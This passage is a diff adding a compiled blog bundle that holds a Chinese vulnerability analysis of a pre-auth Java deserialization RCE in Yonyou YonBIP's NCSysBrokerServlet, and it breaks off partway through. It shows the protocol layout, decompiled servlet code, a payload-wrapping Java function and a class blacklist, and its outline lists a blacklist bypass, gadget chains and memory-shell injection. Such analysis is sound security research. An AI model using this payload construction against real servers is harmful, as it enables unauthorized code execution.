a/assets/images/未命名-4300c28f4b9f5d689f56701ac3745f66.gif b/assets/images/未命名-4300c28f4b9f5d689f56701ac3745f66.gif new file mode 100644 index 0000000..15171e3 Binary files /dev/null and b/assets/images/未命名-4300c28f4b9f5d689f56701ac3745f66.gif differ diff --git a/assets/js/0035ff13.e573e972.js b/assets/js/0035ff13.e573e972.js new file mode 100644 index 0000000..6a1156a --- /dev/null +++ b/assets/js/0035ff13.e573e972.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[7975],{28453:(e,n,r)=>{r.d(n,{R:()=>i,x:()=>a});var s=r(96540);const l={},t=s.createContext(l);function i(e){const n=s.useContext(t);return s.useMemo(function(){return"function"==typeof e?e(n):{...n,...e}},[n,e])}function a(e){let n;return n=e.disableParentContext?"function"==typeof e.components?e.components(l):e.components||l:i(e.components),s.createElement(t.Provider,{value:n},e.children)}},63834:(e,n,r)=>{r.r(n),r.d(n,{assets:()=>c,contentTitle:()=>a,default:()=>h,frontMatter:()=>i,metadata:()=>s,toc:()=>d});const s=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6f0f\u6d1e\u590d\u73b0/\u7528\u53cb/YonBIP/YonBIP_NCSysBrokerServlet_\u53cd\u5e8f\u5217\u5316\u6f0f\u6d1e\u5206\u6790/YonBIP_NCSysBrokerServlet_\u53cd\u5e8f\u5217\u5316\u6f0f\u6d1e\u5206\u6790(1)","title":"\u7528\u53cb YonBIP NCSysBrokerServlet \u53cd\u5e8f\u5217\u5316\u6f0f\u6d1e\u6df1\u5ea6\u5206\u6790","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/02.\u6f0f\u6d1e\u590d\u73b0/07.\u7528\u53cb/01.YonBIP/01.YonBIP_NCSysBrokerServlet_\u53cd\u5e8f\u5217\u5316\u6f0f\u6d1e\u5206\u6790/YonBIP_NCSysBrokerServlet_\u53cd\u5e8f\u5217\u5316\u6f0f\u6d1e\u5206\u6790(1).md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/02.\u6f0f\u6d1e\u590d\u73b0/07.\u7528\u53cb/01.YonBIP/01.YonBIP_NCSysBrokerServlet_\u53cd\u5e8f\u5217\u5316\u6f0f\u6d1e\u5206\u6790","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6f0f\u6d1e\u590d\u73b0/\u7528\u53cb/YonBIP/YonBIP_NCSysBrokerServlet_\u53cd\u5e8f\u5217\u5316\u6f0f\u6d1e\u5206\u6790/YonBIP_NCSysBrokerServlet_\u53cd\u5e8f\u5217\u5316\u6f0f\u6d1e\u5206\u6790(1)","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6f0f\u6d1e\u590d\u73b0/\u7528\u53cb/YonBIP/YonBIP_NCSysBrokerServlet_\u53cd\u5e8f\u5217\u5316\u6f0f\u6d1e\u5206\u6790/YonBIP_NCSysBrokerServlet_\u53cd\u5e8f\u5217\u5316\u6f0f\u6d1e\u5206\u6790(1)","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/02.\u6f0f\u6d1e\u590d\u73b0/07.\u7528\u53cb/01.YonBIP/01.YonBIP_NCSysBrokerServlet_\u53cd\u5e8f\u5217\u5316\u6f0f\u6d1e\u5206\u6790/YonBIP_NCSysBrokerServlet_\u53cd\u5e8f\u5217\u5316\u6f0f\u6d1e\u5206\u6790(1).md","tags":[],"version":"current","frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"\u4efb\u610f\u7528\u6237\u6ce8\u518c\u5373\u8d85\u7ea7\u7ba1\u7406\u5458 \u2014 PoC","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6f0f\u6d1e\u590d\u73b0/Simple Admin/\u4efb\u610f\u7528\u6237\u6ce8\u518c\u5373\u8d85\u7ea7\u7ba1\u7406\u5458/"},"next":{"title":"JimuReport \u81ea\u52a8\u5bfc\u51fa Python \u63d2\u4ef6\u8868\u8fbe\u5f0f\u6ce8\u5165\u4fee\u590d\u7ed5\u8fc7\u6f0f\u6d1e\u5206\u6790","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6f0f\u6d1e\u590d\u73b0/JeecgBoot/JeecgBoot 3.9.5 pre-auth RCE\u6f0f\u6d1e\u7ed5\u8fc7/"}}');var l=r(74848),t=r(28453);const i={},a="\u7528\u53cb YonBIP NCSysBrokerServlet \u53cd\u5e8f\u5217\u5316\u6f0f\u6d1e\u6df1\u5ea6\u5206\u6790",c={},d=[{value:"\u4e00\u3001\u6f0f\u6d1e\u6982\u8ff0",id:"\u4e00\u6f0f\u6d1e\u6982\u8ff0",level:2},{value:"\u4e8c\u3001NC SDS \u534f\u8bae\u6df1\u5ea6\u5206\u6790",id:"\u4e8cnc-sds-\u534f\u8bae\u6df1\u5ea6\u5206\u6790",level:2},{value:"2.1 \u534f\u8bae\u683c\u5f0f",id:"21-\u534f\u8bae\u683c\u5f0f",level:3},{value:"2.2 \u670d\u52a1\u7aef\u5904\u7406\u903b\u8f91\uff08\u4f2a\u4ee3\u7801\u8fd8\u539f\uff09",id:"22-\u670d\u52a1\u7aef\u5904\u7406\u903b\u8f91\u4f2a\u4ee3\u7801\u8fd8\u539f",level:3},{value:"2.3 Payload \u5c01\u88c5\u683c\u5f0f\uff08\u5b57\u8282\u7ea7\uff09",id:"23-payload-\u5c01\u88c5\u683c\u5f0f\u5b57\u8282\u7ea7",level:3},{value:"\u4e09\u3001NCObjectInputStream \u9ed1\u540d\u5355\u673a\u5236",id:"\u4e09ncobjectinputstream-\u9ed1\u540d\u5355\u673a\u5236",level:2},{value:"3.1 \u5b9e\u73b0\u539f\u7406",id:"31-\u5b9e\u73b0\u539f\u7406",level:3},{value:"3.2 \u76f4\u63a5\u5bf9\u6297\u6548\u679c",id:"32-\u76f4\u63a5\u5bf9\u6297\u6548\u679c",level:3},{value:"\u56db\u3001\u9ed1\u540d\u5355\u7ed5\u8fc7\uff1aSignedObject \u4e8c\u6b21\u53cd\u5e8f\u5217\u5316",id:"\u56db\u9ed1\u540d\u5355\u7ed5\u8fc7signedobject-\u4e8c\u6b21\u53cd\u5e8f\u5217\u5316",level:2},{value:"4.1 SignedObject \u7684\u7279\u6b8a\u6027",id:"41-signedobject-\u7684\u7279\u6b8a\u6027",level:3},{value:"4.2 \u7ed5\u8fc7\u793a\u610f",id:"42-\u7ed5\u8fc7\u793a\u610f",level:3},{value:"4.3 SignedObject \u7b7e\u540d\u9a8c\u8bc1\u95ee\u9898",id:"43-signedobject-\u7b7e\u540d\u9a8c\u8bc1\u95ee\u9898",level:3},{value:"\u4e94\u3001Spring AOP PriorityQueue \u94fe\u8be6\u89e3",id:"\u4e94spring-aop-priorityqueue-\u94fe\u8be6\u89e3",level:2},{value:"5.1 PriorityQueue.readObject() \u2192 heapify()",id:"51-priorityqueuereadobject--heapify",level:3},{value:"5.2 JdkDynamicAopProxy \u4f5c\u4e3a Comparator",id:"52-jdkdynamicaopproxy-\u4f5c\u4e3a-comparator",level:3},{value:"5.3 AspectJMethodBeforeAdvice \u2192 matches() \u2192 \u76ee\u6807\u65b9\u6cd5",id:"53-aspectjmethodbeforeadvice--matches--\u76ee\u6807\u65b9\u6cd5",level:3},{value:"5.4 \u4e3a\u4ec0\u4e48\u80fd\u8c03\u7528\u5230 getObject() / getOutputProperties()",id:"54-\u4e3a\u4ec0\u4e48\u80fd\u8c03\u7528\u5230-getobject--getoutputproperties",level:3},{value:"5.5 \u5b8c\u6574\u5bf9\u8c61\u56fe\u6784\u9020\uff08\u5916\u5c42\u94fe\uff09",id:"55-\u5b8c\u6574\u5bf9\u8c61\u56fe\u6784\u9020\u5916\u5c42\u94fe",level:3},{value:"\u516d\u3001AspectJExpressionPointcut SUID \u7248\u672c\u5dee\u5f02\u4e0e Patch",id:"\u516daspectjexpressionpointcut-suid-\u7248\u672c\u5dee\u5f02\u4e0e-patch",level:2},{value:"6.1 \u4e3a\u4ec0\u4e48\u9700\u8981 Patch SUID",id:"61-\u4e3a\u4ec0\u4e48\u9700\u8981-patch-suid",level:3},{value:"6.2 \u5982\u4f55\u5728\u5e8f\u5217\u5316\u5b57\u8282\u6d41\u4e2d\u5b9a\u4f4d SUID",id:"62-\u5982\u4f55\u5728\u5e8f\u5217\u5316\u5b57\u8282\u6d41\u4e2d\u5b9a\u4f4d-suid",level:3},{value:"6.3 Patch \u5b9e\u73b0\uff08\u5b57\u8282\u66ff\u6362\uff09",id:"63-patch-\u5b9e\u73b0\u5b57\u8282\u66ff\u6362",level:3},{value:"\u4e03\u3001TemplatesImpl \u5b57\u8282\u7801\u52a0\u8f7d\u673a\u5236",id:"\u4e03templatesimpl-\u5b57\u8282\u7801\u52a0\u8f7d\u673a\u5236",level:2},{value:"7.1 getOutputProperties() \u89e6\u53d1\u8def\u5f84",id:"71-getoutputproperties-\u89e6\u53d1\u8def\u5f84",level:3},{value:"7.2 defineTransletClasses() \u52a0\u8f7d\u6d41\u7a0b",id:"72-definetransletclasses-\u52a0\u8f7d\u6d41\u7a0b",level:3},{value:"7.3 TransletClassLoader \u7684\u4f5c\u7528\u57df",id:"73-transletclassloader-\u7684\u4f5c\u7528\u57df",level:3},{value:"\u516b\u3001TxlCarrier \u8bbe\u8ba1\uff1a\u4e3a\u4ec0\u4e48\u9700\u8981\u5047 AbstractTranslet",id:"\u516btxlcarrier-\u8bbe\u8ba1\u4e3a\u4ec0\u4e48\u9700\u8981\u5047-abstracttranslet",level:2},{value:"8.1 \u771f\u5b9e AbstractTranslet \u7684\u95ee\u9898",id:"81-\u771f\u5b9e-abstracttranslet-\u7684\u95ee\u9898",level:3},{value:"8.2 \u5047 AbstractTranslet \u65b9\u6848",id:"82-\u5047-abstracttranslet-\u65b9\u6848",level:3},{value:"8.3 \u52a8\u6001\u7f16\u8bd1\u6d41\u7a0b",id:"83-\u52a8\u6001\u7f16\u8bd1\u6d41\u7a0b",level:3},{value:"8.4 \u4e3a\u4ec0\u4e48\u5fc5\u987b -source 8 -target 8",id:"84-\u4e3a\u4ec0\u4e48\u5fc5\u987b--source-8--target-8",level:3},{value:"\u4e5d\u3001\u4ece Shell \u5b57\u8282\u7801\u63d0\u53d6\u7c7b\u540d",id:"\u4e5d\u4ece-shell-\u5b57\u8282\u7801\u63d0\u53d6\u7c7b\u540d",level:2},{value:"9.1 Java class \u6587\u4ef6\u5e38\u91cf\u6c60\u7ed3\u6784",id:"91-java-class-\u6587\u4ef6\u5e38\u91cf\u6c60\u7ed3\u6784",level:3},{value:"9.2 \u63d0\u53d6\u4ee3\u7801",id:"92-\u63d0\u53d6\u4ee3\u7801",level:3},{value:"\u5341\u3001Tomcat Filter \u5185\u5b58\u9a6c\u6ce8\u5165\u8be6\u89e3",id:"\u5341tomcat-filter-\u5185\u5b58\u9a6c\u6ce8\u5165\u8be6\u89e3",level:2},{value:"10.1 \u6ce8\u5165\u76ee\u6807\uff1aStandardContext",id:"101-\u6ce8\u5165\u76ee\u6807standardcontext",level:3},{value:"10.2 \u83b7\u53d6 StandardContext \u7684\u65b9\u6cd5",id:"102-\u83b7\u53d6-standardcontext-\u7684\u65b9\u6cd5",level:3},{value:"10.3 \u52a8\u6001\u5b9a\u4e49\u5e76\u6ce8\u518c Filter",id:"103-\u52a8\u6001\u5b9a\u4e49\u5e76\u6ce8\u518c-filter",level:3},{value:"10.4 \u51b0\u874e\u5185\u5b58\u9a6c\u8bf7\u6c42\u5904\u7406\u6d41\u7a0b",id:"104-\u51b0\u874e\u5185\u5b58\u9a6c\u8bf7\u6c42\u5904\u7406\u6d41\u7a0b",level:3},{value:"\u5341\u4e00\u3001\u5b8c\u6574 Payload \u6784\u9020\u6d41\u7a0b\uff08\u6b65\u9aa4\u7ea7\uff09",id:"\u5341\u4e00\u5b8c\u6574-payload-\u6784\u9020\u6d41\u7a0b\u6b65\u9aa4\u7ea7",level:2},{value:"\u5341\u4e8c\u3001HTTP \u8bf7\u6c42\u683c\u5f0f",id:"\u5341\u4e8chttp-\u8bf7\u6c42\u683c\u5f0f",level:2},{value:"\u5341\u4e09\u3001\u5173\u952e\u9677\u9631\u603b\u7ed3",id:"\u5341\u4e09\u5173\u952e\u9677\u9631\u603b\u7ed3",level:2},{value:"\u5341\u56db\u3001\u4fee\u590d\u5efa\u8bae",id:"\u5341\u56db\u4fee\u590d\u5efa\u8bae",level:2},{value:"14.1 \u4e34\u65f6\u7f13\u89e3",id:"141-\u4e34\u65f6\u7f13\u89e3",level:3},{value:"14.2 \u6839\u672c\u4fee\u590d",id:"142-\u6839\u672c\u4fee\u590d",level:3},{value:"\u5341\u4e94\u3001PoC \u5f00\u53d1\u5168\u8fc7\u7a0b\u8e29\u5751\u8bb0\u5f55",id:"\u5341\u4e94poc-\u5f00\u53d1\u5168\u8fc7\u7a0b\u8e29\u5751\u8bb0\u5f55",level:2},{value:"\u95ee\u9898\u4e00\uff1aStringIndexOutOfBoundsException at extractClassName",id:"\u95ee\u9898\u4e00stringindexoutofboundsexception-at-extractclassname",level:3},{value:"\u95ee\u9898\u4e8c\uff1aBase64 incorrect ending byte at 17108",id:"\u95ee\u9898\u4e8cbase64-incorrect-ending-byte-at-17108",level:3},{value:"\u95ee\u9898\u4e09\uff1ajavac \u7f16\u8bd1\u65f6\u4e2d\u6587\u6ce8\u91ca\u62a5\u9519",id:"\u95ee\u9898\u4e09javac-\u7f16\u8bd1\u65f6\u4e2d\u6587\u6ce8\u91ca\u62a5\u9519",level:3},{value:"\u95ee\u9898\u56db\uff1a--release \u53c2\u6570\u4e0d\u88ab\u652f\u6301",id:"\u95ee\u9898\u56db--release-\u53c2\u6570\u4e0d\u88ab\u652f\u6301",level:3},{value:"\u95ee\u9898\u4e94\uff1aVerifyError \u9759\u9ed8\u5931\u8d25\uff08Shell \u672a\u6267\u884c\uff0c\u65e0\u62a5\u9519\uff09",id:"\u95ee\u9898\u4e94verifyerror-\u9759\u9ed8\u5931\u8d25shell-\u672a\u6267\u884c\u65e0\u62a5\u9519",level:3},{value:"\u95ee\u9898\u516d\uff1aUnsupportedClassVersionError \u9759\u9ed8\u5931\u8d25",id:"\u95ee\u9898\u516dunsupportedclassversionerror-\u9759\u9ed8\u5931\u8d25",level:3},{value:"\u95ee\u9898\u4e03\uff1aInvalidClassException \u2014 SUID \u7248\u672c\u4e0d\u5339\u914d",id:"\u95ee\u9898\u4e03invalidclassexception--suid-\u7248\u672c\u4e0d\u5339\u914d",level:3},{value:"\u95ee\u9898\u516b\uff1aWRAPPER_B64 \u65b9\u6848\u7684\u5c40\u9650\u6027\u4e0e\u653e\u5f03",id:"\u95ee\u9898\u516bwrapper_b64-\u65b9\u6848\u7684\u5c40\u9650\u6027\u4e0e\u653e\u5f03",level:3},{value:"\u95ee\u9898\u4e5d\uff1aEdit \u5de5\u5177\u65e0\u6cd5\u66ff\u6362\u957f Base64 \u5b57\u7b26\u4e32",id:"\u95ee\u9898\u4e5dedit-\u5de5\u5177\u65e0\u6cd5\u66ff\u6362\u957f-base64-\u5b57\u7b26\u4e32",level:3},{value:"\u95ee\u9898\u5341\uff1a\u6587\u4ef6\u4e2d\u6587\u6ce8\u91ca\u4e71\u7801\uff08Mojibake\uff09",id:"\u95ee\u9898\u5341\u6587\u4ef6\u4e2d\u6587\u6ce8\u91ca\u4e71\u7801mojibake",level:3},{value:"\u95ee\u9898\u5341\u4e00\uff1aTemplatesImpl _name \u4e3a null \u5bfc\u81f4\u94fe\u8def\u4e2d\u65ad",id:"\u95ee\u9898\u5341\u4e00templatesimpl-_name-\u4e3a-null-\u5bfc\u81f4\u94fe\u8def\u4e2d\u65ad",level:3},{value:"\u8e29\u5751\u65f6\u95f4\u7ebf\u603b\u89c8",id:"\u8e29\u5751\u65f6\u95f4\u7ebf\u603b\u89c8",level:3},{value:"\u5341\u516d\u3001\u53c2\u8003\u8d44\u6599",id:"\u5341\u516d\u53c2\u8003\u8d44\u6599",level:2}];function o(e){const n={code:"code",h1:"h1",h2:"h2",h3:"h3",header:"header",hr:"hr",img:"img",li:"li",ol:"ol",p:"p",pre:"pre",strong:"strong",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",ul:"ul",...(0,t.R)(),...e.components};return(0,l.jsxs)(l.Fragment,{children:[(0,l.jsx)(n.header,{children:(0,l.jsx)(n.h1,{id:"\u7528\u53cb-yonbip-ncsysbrokerservlet-\u53cd\u5e8f\u5217\u5316\u6f0f\u6d1e\u6df1\u5ea6\u5206\u6790",children:"\u7528\u53cb YonBIP NCSysBrokerServlet \u53cd\u5e8f\u5217\u5316\u6f0f\u6d1e\u6df1\u5ea6\u5206\u6790"})}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,l.jsxs)(n.table,{children:[(0,l.jsx)(n.thead,{children:(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,l.jsx)(n.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,l.jsx)(n.tbody,{children:(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.td,{style:{textAlign:"left"},children:(0,l.jsx)(n.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,l.jsx)(n.td,{style:{textAlign:"left"},children:"2026-09-01 09:36:12"})]})})]}),"\n",(0,l.jsx)(n.h2,{id:"\u4e00\u6f0f\u6d1e\u6982\u8ff0",children:"\u4e00\u3001\u6f0f\u6d1e\u6982\u8ff0"}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,l.jsxs)(n.table,{children:[(0,l.jsx)(n.thead,{children:(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.th,{children:"\u5c5e\u6027"}),(0,l.jsx)(n.th,{children:"\u5185\u5bb9"})]})}),(0,l.jsxs)(n.tbody,{children:[(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.td,{children:"\u4ea7\u54c1"}),(0,l.jsx)(n.td,{children:"\u7528\u53cb YonBIP\uff08NC Cloud / NChome\uff09"})]}),(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.td,{children:"\u6f0f\u6d1e\u7ec4\u4ef6"}),(0,l.jsx)(n.td,{children:(0,l.jsx)(n.code,{children:"NCSysBrokerServlet"})})]}),(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.td,{children:"\u6f0f\u6d1e\u8def\u5f84"}),(0,l.jsx)(n.td,{children:(0,l.jsx)(n.code,{children:"POST /ServiceDispatcherServlet/NCSysBrokerServlet"})})]}),(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.td,{children:"\u6f0f\u6d1e\u7c7b\u578b"}),(0,l.jsx)(n.td,{children:"Java \u53cd\u5e8f\u5217\u5316\uff08Pre-Auth RCE\uff09"})]}),(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.td,{children:"\u8ba4\u8bc1\u8981\u6c42"}),(0,l.jsx)(n.td,{children:"\u65e0\u9700\u4efb\u4f55\u8ba4\u8bc1\uff0c\u76f4\u63a5\u533f\u540d\u5229\u7528"})]}),(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.td,{children:"\u670d\u52a1\u5668 Java \u7248\u672c"}),(0,l.jsx)(n.td,{children:"Java 8\uff08class major version = 52\uff09"})]}),(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.td,{children:"\u670d\u52a1\u5668 Spring \u7248\u672c"}),(0,l.jsx)(n.td,{children:"Spring Framework 5.3.20"})]}),(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.td,{children:"\u5371\u5bb3"}),(0,l.jsx)(n.td,{children:"\u4efb\u610f\u4ee3\u7801\u6267\u884c\u3001\u6ce8\u5165\u5185\u5b58\u9a6c\u3001\u5b8c\u5168\u63a7\u5236\u670d\u52a1\u5668"})]})]})]}),"\n",(0,l.jsx)(n.hr,{}),"\n",(0,l.jsx)(n.h2,{id:"\u4e8cnc-sds-\u534f\u8bae\u6df1\u5ea6\u5206\u6790",children:"\u4e8c\u3001NC SDS \u534f\u8bae\u6df1\u5ea6\u5206\u6790"}),"\n",(0,l.jsx)(n.h3,{id:"21-\u534f\u8bae\u683c\u5f0f",children:"2.1 \u534f\u8bae\u683c\u5f0f"}),"\n",(0,l.jsxs)(n.p,{children:[(0,l.jsx)(n.code,{children:"NCSysBrokerServlet"})," \u4e0d\u63a5\u53d7\u666e\u901a HTTP \u8868\u5355\u6216 JSON\uff0c\u800c\u662f\u4f7f\u7528\u4e00\u5957**\u79c1\u6709\u4e8c\u8fdb\u5236\u534f\u8bae\uff08NC SDS / Service Dispatcher Servlet Protocol\uff09**\u4f5c\u4e3a HTTP Body\u3002"]}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{children:"\u5b57\u8282\u504f\u79fb \u957f\u5ea6 \u5b57\u6bb5\u540d \u8bf4\u660e\n\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n 0 4 body_length \u6574\u4e2a\u6d88\u606f\u4f53\u7684\u5b57\u8282\u6570\uff08Big-Endian uint32\uff09\n 4 4 MAGIC \u56fa\u5b9a\u503c: 0x72 0x71 0x89 0x00\n 8 N oos_data Java ObjectOutputStream \u5e8f\u5217\u5316\u6d41\n\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n"})}),"\n",(0,l.jsxs)(n.p,{children:[(0,l.jsx)(n.strong,{children:"MAGIC \u5b57\u8282\u7684\u542b\u4e49"}),"\uff1a",(0,l.jsx)(n.code,{children:"72 71 89 00"})," \u662f NC SDS \u534f\u8bae\u7684\u6807\u8bc6\u7b26\uff0c\u670d\u52a1\u7aef\u7528\u4e8e\u6821\u9a8c\u8bf7\u6c42\u5408\u6cd5\u6027\u3002\u6ce8\u610f ",(0,l.jsx)(n.code,{children:"oos_data"})," \u672c\u8eab\u4ee5 Java \u5e8f\u5217\u5316\u6d41\u7684\u56fa\u5b9a\u5934 ",(0,l.jsx)(n.code,{children:"AC ED 00 05"})," \u5f00\u59cb\uff0c\u56e0\u6b64\u5b8c\u6574\u8bf7\u6c42\u4f53\u5f00\u5934\u4e3a\uff1a"]}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{children:"[BE-length 4B] [72 71 89 00] [AC ED 00 05 ...]\n"})}),"\n",(0,l.jsx)(n.h3,{id:"22-\u670d\u52a1\u7aef\u5904\u7406\u903b\u8f91\u4f2a\u4ee3\u7801\u8fd8\u539f",children:"2.2 \u670d\u52a1\u7aef\u5904\u7406\u903b\u8f91\uff08\u4f2a\u4ee3\u7801\u8fd8\u539f\uff09"}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-java",children:"// NCSysBrokerServlet.doPost() \u6838\u5fc3\u903b\u8f91\uff08\u53cd\u7f16\u8bd1\u8fd8\u539f\uff09\npublic void doPost(HttpServletRequest req, HttpServletResponse resp) {\n InputStream is = req.getInputStream();\n\n // 1. \u8bfb\u53d6 4B \u957f\u5ea6\u5b57\u6bb5\n byte[] lenBuf = new byte[4];\n is.read(lenBuf);\n int bodyLen = ((lenBuf[0]&0xFF)<<24) | ((lenBuf[1]&0xFF)<<16)\n | ((lenBuf[2]&0xFF)<<8) | (lenBuf[3]&0xFF);\n\n // 2. \u8bfb\u53d6 4B MAGIC\uff0c\u7b80\u5355\u6821\u9a8c\n byte[] magic = new byte[4];\n is.read(magic);\n // \u6821\u9a8c magic == {0x72, 0x71, 0x89, 0x00}\n\n // 3. \u5269\u4f59\u5b57\u8282\u76f4\u63a5\u53cd\u5e8f\u5217\u5316 \u2190 \u6f0f\u6d1e\u70b9\n NCObjectInputStream ncois = new NCObjectInputStream(is);\n Object obj = ncois.readObject(); // \u672a\u6388\u6743\u89e6\u53d1\u70b9\n // ... \u540e\u7eed\u5206\u53d1\u903b\u8f91\n}\n"})}),"\n",(0,l.jsxs)(n.p,{children:[(0,l.jsx)(n.strong,{children:"\u6f0f\u6d1e\u6839\u56e0"}),"\uff1a\u7b2c 3 \u6b65\u5728\u6ca1\u6709\u4efb\u4f55\u8eab\u4efd\u9a8c\u8bc1\u3001\u4f1a\u8bdd\u6821\u9a8c\u3001token \u6821\u9a8c\u7684\u60c5\u51b5\u4e0b\uff0c\u76f4\u63a5\u5bf9\u5916\u90e8\u8f93\u5165\u6267\u884c ",(0,l.jsx)(n.code,{children:"readObject()"}),"\u3002"]}),"\n",(0,l.jsx)(n.h3,{id:"23-payload-\u5c01\u88c5\u683c\u5f0f\u5b57\u8282\u7ea7",children:"2.3 Payload \u5c01\u88c5\u683c\u5f0f\uff08\u5b57\u8282\u7ea7\uff09"}),"\n",(0,l.jsx)(n.p,{children:"\u4ee5\u4e00\u4e2a\u7ea6 21684 \u5b57\u8282\u7684 payload \u4e3a\u4f8b\uff1a"}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{children:"\u504f\u79fb \u5b57\u8282\u503c\uff08hex\uff09 \u542b\u4e49\n00 54 11 xx xx body_length = 21717\uff08Big-Endian\uff09\uff0c\u5373\u540e\u7eed\u6240\u6709\u5b57\u8282\u6570\n04 72 71 89 00 NC SDS MAGIC\n08 AC ED 00 05 Java \u5e8f\u5217\u5316\u6d41\u5934\uff08STREAM_MAGIC + STREAM_VERSION\uff09\n0C ... \u5e8f\u5217\u5316\u7684 PriorityQueue \u5bf9\u8c61\u56fe\n...\n"})}),"\n",(0,l.jsx)(n.p,{children:"\u6784\u9020\u4ee3\u7801\uff1a"}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-java",children:"// NC SDS \u5c01\u5305\uff084B magic + 4B BE length + OOS\uff09\nstatic byte[] wrap(Object obj) throws Exception {\n ByteArrayOutputStream baos = new ByteArrayOutputStream();\n // \u5148\u5199 MAGIC\n baos.write(new byte[]{0x72, 0x71, (byte)0x89, 0x00});\n // \u518d\u5199\u5e8f\u5217\u5316\u6570\u636e\n ObjectOutputStream oos = new ObjectOutputStream(baos);\n oos.writeObject(obj);\n oos.flush();\n byte[] body = baos.toByteArray();\n\n // \u6700\u7ec8\u683c\u5f0f\uff1a[4B length][body]\n ByteArrayOutputStream out = new ByteArrayOutputStream();\n int len = body.length;\n out.write(new byte[]{(byte)(len>>24),(byte)(len>>16),(byte)(len>>8),(byte)len});\n out.write(body);\n return out.toByteArray();\n}\n"})}),"\n",(0,l.jsx)(n.hr,{}),"\n",(0,l.jsx)(n.h2,{id:"\u4e09ncobjectinputstream-\u9ed1\u540d\u5355\u673a\u5236",children:"\u4e09\u3001NCObjectInputStream \u9ed1\u540d\u5355\u673a\u5236"}),"\n",(0,l.jsx)(n.h3,{id:"31-\u5b9e\u73b0\u539f\u7406",children:"3.1 \u5b9e\u73b0\u539f\u7406"}),"\n",(0,l.jsxs)(n.p,{children:[(0,l.jsx)(n.code,{children:"NCObjectInputStream"})," \u7ee7\u627f\u81ea ",(0,l.jsx)(n.code,{children:"ObjectInputStream"}),"\uff0c\u901a\u8fc7",(0,l.jsxs)(n.strong,{children:["\u91cd\u5199 ",(0,l.jsx)(n.code,{children:"resolveClass()"})," \u65b9\u6cd5"]}),"\u5b9e\u73b0\u9ed1\u540d\u5355\u8fc7\u6ee4\uff1a"]}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-java",children:'// NCObjectInputStream.resolveClass() \u53cd\u7f16\u8bd1\u8fd8\u539f\n@Override\nprotected Class resolveClass(ObjectStreamClass desc)\n throws IOException, ClassNotFoundException {\n String name = desc.getName();\n\n // \u9ed1\u540d\u5355\u524d\u7f00\u68c0\u67e5\uff08\u90e8\u5206\u5df2\u77e5\u6761\u76ee\uff09\n if (name.startsWith("org.apache.commons.collections")\n || name.startsWith("org.springframework.aop.framework.JdkDynamicAopProxy")\n || name.startsWith("com.sun.org.apache.xalan")\n || name.startsWith("org.apache.commons.beanutils")\n || /* ... \u5176\u4ed6\u9ed1\u540d\u5355 ... */ ) {\n throw new InvalidClassException("Blocked class: " + name);\n }\n\n return super.resolveClass(desc);\n}\n'})}),"\n",(0,l.jsxs)(n.p,{children:[(0,l.jsx)(n.strong,{children:"\u5173\u952e"}),"\uff1a",(0,l.jsx)(n.code,{children:"resolveClass()"})," 